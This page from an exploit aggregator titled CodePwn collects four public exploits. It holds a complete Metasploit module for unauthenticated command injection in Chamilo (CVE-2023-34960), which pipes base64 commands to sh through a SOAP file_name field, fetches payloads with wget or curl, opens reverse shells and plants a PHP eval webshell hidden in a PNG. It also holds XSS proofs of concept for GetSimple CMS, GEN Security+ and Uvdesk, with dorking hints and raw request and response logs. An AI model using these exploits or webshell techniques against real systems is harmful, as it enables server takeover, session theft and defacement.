Latest exploits :: CodePwn

<pre><code>==================================================================================================================================== | # Title : GetSimple CMS v3.3.2 XSS Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : http://get-simple.info/ | | # Dork : © 2009-2014 GetSimple CMS – Version 3.3.2 | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] LIne 5 Se7 y0ur T@rg3t . [+] XSS Reflected - Jquery v1.7.1 : <html> <head> <meta charset="utf-8"> <title>XSS Reflected - Jquery v1.7.1 </title> <script src="http://127.0.0.1/GetSimpleCMS/admin/template/js/jquery.min.js"></script> <script> $(function() { $('#users').each(function() { var select = $(this); var option = select.children('option').first(); select.after(option.text()); select.hide(); }); }); </script> </head> <body> <form method="post"> <select id="users" name="users"> <option value="xssreflected"><script>alert(&#x27;xss reflected - jquery v1.7.1 by - indoushka thnx to @firebitsbr - mauro.risonho@gmail.com&#x27;);</script></option> </select> </form> </body> </html> Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code># This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Format::PhpPayloadPng prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Chamilo unauthenticated command injection in PowerPoint upload', 'Description' => %q{ Chamilo is an e-learning platform, also called Learning Management Systems (LMS). This module exploits an unauthenticated remote command execution vulnerability that affects Chamilo versions `1.11.18` and below (CVE-2023-34960). Due to a functionality called Chamilo Rapid to easily convert PowerPoint slides to courses on Chamilo, it is possible for an unauthenticated remote attacker to execute arbitrary commands at OS level using a malicious SOAP request at the vulnerable endpoint `/main/webservices/additional_webservices.php`. }, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Module Author 'Randorisec' # Original research ], 'References' => [ ['CVE', '2023-34960'], ['URL', 'https://www.randorisec.fr/pt/chamilo-1.11.18-multiple-vulnerabilities'], ['URL', 'https://attackerkb.com/topics/VVJpMeSpUP/cve-2023-34960'] ], 'License' => MSF_LICENSE, 'Platform' => ['php', 'unix', 'linux'], 'Privileged' => false, 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Type' => :linux_dropper, 'Linemax' => 65535, 'CmdStagerFlavor' => ['wget', 'curl'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-06-01', 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 80 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The Chamilo endpoint URL', '/' ]), OptString.new('WEBSHELL', [ false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil ], conditions: %w[TARGET == 0]) ]) end def soap_request(cmd) # create SOAP request exploiting CVE-2023-34960 # Randomize ppt size ppt_size = "#{rand(720..1440)}x#{rand(360..720)}" return <<~EOS <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="#{target_uri.path}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:wsConvertPpt> <param0 xsi:type="ns2:Map"> <item> <key xsi:type="xsd:string">file_data</key> <value xsi:type="xsd:string"></value> </item> <item> <key xsi:type="xsd:string">file_name</key> <value xsi:type="xsd:string">`{{}}`.pptx'|" |#{cmd}||a #</value> </item> <item> <key xsi:type="xsd:string">service_ppt2lp_size</key> <value xsi:type="xsd:string">#{ppt_size}</value> </item> </param0> </ns1:wsConvertPpt> </SOAP-ENV:Body> </SOAP-ENV:Envelope> EOS end def upload_webshell # randomize file name if option WEBSHELL is not set @webshell_name = if datastore['WEBSHELL'].blank? "#{Rex::Text.rand_text_alpha(8..16)}.php" else datastore['WEBSHELL'].to_s end @post_param = Rex::Text.rand_text_alphanumeric(1..8) # inject PHP payload into the PLTE chunk of a PNG image to hide the payload php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>" png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE') return nil if png_webshell.nil? # encode webshell data and write to file on the target for execution payload = Base64.strict_encode64(png_webshell.to_s) cmd = "echo #{payload}|openssl enc -a -d > ./#{@webshell_name}" return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main', 'webservices', 'additional_webservices.php'), 'ctype' => 'text/xml; charset=utf-8', 'data' => soap_request(cmd).to_s }) end def execute_php(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'ppt2png', @webshell_name), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { @post_param => payload } }) end def execute_command(cmd, _opts = {}) # Encode payload with base64 and decode with openssl (most common installed on unix systems) payload = Base64.strict_encode64(cmd) cmd = "echo #{payload}|openssl enc -a -d|sh" return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main', 'webservices', 'additional_webservices.php'), 'ctype' => 'text/xml; charset=utf-8', 'data' => soap_request(cmd).to_s }) end def check # Checking if the target is vulnerable by echoing a randomised marker that will return the marker in the response. print_status("Checking if #{peer} can be exploited.") marker = Rex::Text.rand_text_alphanumeric(8..16) res = execute_command("echo #{marker}") if res && res.code == 200 && res.body.include?('wsConvertPptResponse') && res.body.include?(marker) CheckCode::Vulnerable else CheckCode::Safe('No valid response received from the target.') end end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :php res = upload_webshell fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200 && res.body.include?('wsConvertPptResponse') register_file_for_cleanup(@webshell_name.to_s) execute_php(payload.encoded) when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager({ linemax: target.opts['Linemax'] }) end end end </code></pre>

<pre><code>==================================================================================================================================== | # Title : GEN Security+ v4.0 XSS Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : https://www.ptcpay.com/ | | # Dork : Powered by GeN4 Security+ 2.0 | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Us3 P@yL04D: GEN/forum/search.php?a=1%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E&q=1&Submit=1 [+] http://127.0.0.1/GEN/forum/search.php?a=1%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E&q=1&Submit=1 Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code># Exploit Title: Uvdesk 1.1.4 - Stored XSS (Authenticated) # Date: 14/08/2023 # Exploit Author: Hubert Wojciechowski # Contact Author: hub.woj12345@gmail.com # Vendor Homepage: https://www.uvdesk.com/ # Software Link: https://github.com/MegaTKC/AeroCMS # Version: 1.1.4 # Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 # Authenticated user privilages to tickets. User can send XSS to admin or other user and stolen sesssion. ## Example XSS Stored in new ticket ----------------------------------------------------------------------------------------------------------------------- Param: reply ----------------------------------------------------------------------------------------------------------------------- Req ----------------------------------------------------------------------------------------------------------------------- POST /uvdesk/public/en/member/thread/add/1 HTTP/1.1 Host: 127.0.0.1 Content-Length: 812 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXCjJcGbgZxZWLsSk User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1/uvdesk/public/en/member/ticket/view/1 Accept-Encoding: gzip, deflate Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: uv-sidebar=0; PHPSESSID=4b0j3r934245lpssq5lil3edm3 Connection: close ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="threadType" forward ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="status" ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="subject" aaaa ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="to[]" test@local.host ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="reply" %3Cp%3E%3Cembed+src%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB4bWxuczpzdmc9Imh0dH+A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv+MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs+aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw+IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI%2BYWxlcnQoIlh+TUyIpOzwvc2NyaXB0Pjwvc3ZnPg%3D%3D%22+type%3D%22image%2Fsvg%2Bxml%22+width%3D%22300%22+height%3D%22150%22%3E%3C%2Fembed%3E%3C%2Fp%3E ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="pic"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="nextView" stay ------WebKitFormBoundaryXCjJcGbgZxZWLsSk-- ----------------------------------------------------------------------------------------------------------------------- Res: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 302 Found Date: Mon, 14 Aug 2023 11:33:26 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 X-Powered-By: PHP/7.4.29 Cache-Control: max-age=0, must-revalidate, private Location: /uvdesk/public/en/member/ticket/view/1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,OPTIONS Access-Control-Allow-Headers: Access-Control-Allow-Origin Access-Control-Allow-Headers: Authorization Access-Control-Allow-Headers: Content-Type X-Debug-Token: bf1b73 X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/bf1b73 X-Robots-Tag: noindex Expires: Mon, 14 Aug 2023 11:33:26 GMT Set-Cookie: sf_redirect=%7B%22token%22%3A%22bf1b73%22%2C%22route%22%3A%22helpdesk_member_add_ticket_thread%22%2C%22method%22%3A%22POST%22%2C%22controller%22%3A%7B%22class%22%3A%22Webkul%5C%5CUVDesk%5C%5CCoreFrameworkBundle%5C%5CController%5C%5CThread%22%2C%22method%22%3A%22saveThread%22%2C%22file%22%3A%22C%3A%5C%5Cxampp2%5C%5Chtdocs%5C%5Cuvdesk%5C%5Cvendor%5C%5Cuvdesk%5C%5Ccore-framework%5C%5CController%5C%5CThread.php%22%2C%22line%22%3A44%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D; path=/; httponly; samesite=lax Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 398 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='/uvdesk/public/en/member/ticket/view/1'" /> <title>Redirecting to /uvdesk/public/en/member/ticket/view/1</title> </head> <body> Redirecting to <a href="/uvdesk/public/en/member/ticket/view/1">/uvdesk/public/en/member/ticket/view/1</a>. </body> </html> ----------------------------------------------------------------------------------------------------------------------- Redirect and view response: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Mon, 14 Aug 2023 11:44:14 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 X-Powered-By: PHP/7.4.29 Cache-Control: max-age=0, must-revalidate, private Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,OPTIONS Access-Control-Allow-Headers: Access-Control-Allow-Origin Access-Control-Allow-Headers: Authorization Access-Control-Allow-Headers: Content-Type X-Debug-Token: 254ce8 X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/254ce8 X-Robots-Tag: noindex Expires: Mon, 14 Aug 2023 11:44:14 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 300607 <!DOCTYPE html> <html> <head> <title>#1 vvvvvvvvvvvvvvvvvvvvv</title> [...] <embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" width="300" height="150"></embed> [...] ----------------------------------------------------------------------------------------------------------------------- XSS execute, we can reply ticket to victim. This payload can use in new articles, tickets, all application. </code></pre>